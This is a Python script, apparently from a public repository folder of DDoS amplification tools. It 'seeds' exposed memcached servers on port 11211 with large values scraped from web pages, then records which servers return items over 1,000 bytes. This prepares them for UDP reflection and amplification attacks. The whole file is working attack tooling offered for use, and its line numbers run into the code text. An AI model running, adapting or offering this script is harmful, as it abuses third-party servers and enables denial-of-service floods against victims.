Path: blob/master/DDOS Scripts/AMP Methods/Port 11211 - MemcacheD (bonus seeding scripts)/memcached-seeder.py
4622 views
# Meme-cacheD seeder by Phenomite 20201import os2import sys3import socket4import re5import time6import requests7import memcache8import concurrent.futures910exit = False11memcachePort = 11211121314def getseed(url):15seed_content = requests.get(url).text16# Force into memory17if not seed_content:18print("Seeder failed...")19else:20print("Grabbing new seed...")21return seed_content222324def seed_items(ip, seed_content, seed_content2, seed_content3):25# Grabs the list of all items in the memcache server26global exit27seed = ""28try:29print("Seeding items now (because UDP is unreliable by design you might need to run this again)")30mc = memcache.Client([ip], debug=False)31mc.set("p", seed_content3)32mc.set("h", seed_content2)33mc.set("e", seed_content)34seed = "phenomite" # junk for credit35except UnicodeDecodeError:36# Ignore non-utf8 responses and attempts at killing decoders (potential pots, unlikely though)37pass38except Exception as e:39# If no data is received, you get here, but it's not an error40# Ignore and continue41print("\nError occurred while seeding: " + str(e))42pass43except KeyboardInterrupt:44exit = True45return seed464748def get_best_items(ip, string_items, min_size):49global exit50overall_best_item = ""51iterator = 052for item in string_items.split(" "): # Bad yes but bite me53iterator = iterator + 154try:55# Set query to dump list of item keys56print("\nItem: " + item)57mc = memcache.Client([ip], debug=False)58memcache_item_value = mc.get(item)5960item_size_returned = len(memcache_item_value)61print("Reported size of item: " + str(item_size_returned))6263# Check the returned size is over our min threshold64# and (item_size_returned > size_of_last_best_item)) or (len(item) <65# len(overall_best_item) and item_size_returned ==66# size_of_last_best_item):67if item_size_returned >= int(min_size):68overall_best_item += item + " " # Set return val69print("Added this item to key string for this IP")7071except UnicodeDecodeError:72# Ignore non-utf8 responses and attempts at killing decoders (potential pots, unlikely though)73pass74except Exception as e:75# If no data is received, you get here, but it's not an error76# Ignore and continue77print("\nError occurred while querying: " + str(e))78pass79except KeyboardInterrupt:80exit = True81return overall_best_item.strip()828384def executors(ip, content_to_seed, content_to_seed2, content_to_seed3):85print("\n---------New-IP---------")86ip = ip.rstrip() # Clean random DOS CRLF cancer87try:88# Get items on the IP (within response time constraints [hardcoded for now])89seed_ip = seed_items(ip, content_to_seed, content_to_seed2, content_to_seed3)90if not seed_ip:91return # Get the non responders out of here92# Check for our seed93ip_items = get_best_items(ip, seed_ip, "1000")94if not ip_items:95return # Get the non responders out of here96return ip_items97except Exception as e:98print("FATAL: " + str(e)) # debug99100101def main(fileInput, fileOutput,102url="https://www.netflix.com/watch/70177848",103url2="https://yahoo.com",104url3="https://stackoverflow.com/questions/24017316/pragma-mark-in-swift"):105global exit106# TODO: Randomise the seed to not hit flowspec size matching107content_to_seed = getseed(url)108content_to_seed2 = getseed(url2) # eh109content_to_seed3 = getseed(url3) # ehhhh110with open(fileInput, 'r') as ips:111with concurrent.futures.ProcessPoolExecutor(max_workers=50) as executor:112future_seeder = {executor.submit(executors, ip, content_to_seed,113content_to_seed2, content_to_seed3): ip for ip in ips}114for future in concurrent.futures.as_completed(future_seeder):115ip_seeded = future_seeder[future]116try:117return_ip = future.result()118except Exception as ex:119print('%r generated an exception: %s' % (ip_seeded, ex))120else:121print('%s cache contains %s item!' % (str(ip_seeded).strip(), return_ip))122print("\nWill write this to file: " + str(ip_seeded).strip())123f = open(fileOutput, "a+")124f.write(str(ip_seeded).strip() + "\n")125f.close()126print() # Spacer127print("\n---------Done---------")128print("\nFinished seeding memcacheD IP list\n")129130131if __name__ == '__main__':132print("-- MemcacheD Seeder -- Phenomite 2020 --")133if len(sys.argv) < 3:134print("Argument 1 (mandatory): Input filename containing one UDP memcache responder IP per line!\n\tAND DONT USE CRLF YOU WINDOWS FOOL. `dos2unix inputfile` if you are unsure.")135print("Argument 2 (mandatory): Output filename.")136print("Argument 3: Optional 1st domain to seed from (defaults if not entered).")137print("Argument 4: Optional 2nd domain to seed from (defaults if not entered).")138print("Argument 5: Optional 3rd domain to seed from (defaults if not entered).")139quit()140elif len(sys.argv) == 3:141main(sys.argv[1], sys.argv[2])142elif len(sys.argv) > 3:143main(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4], sys.argv[5])144145146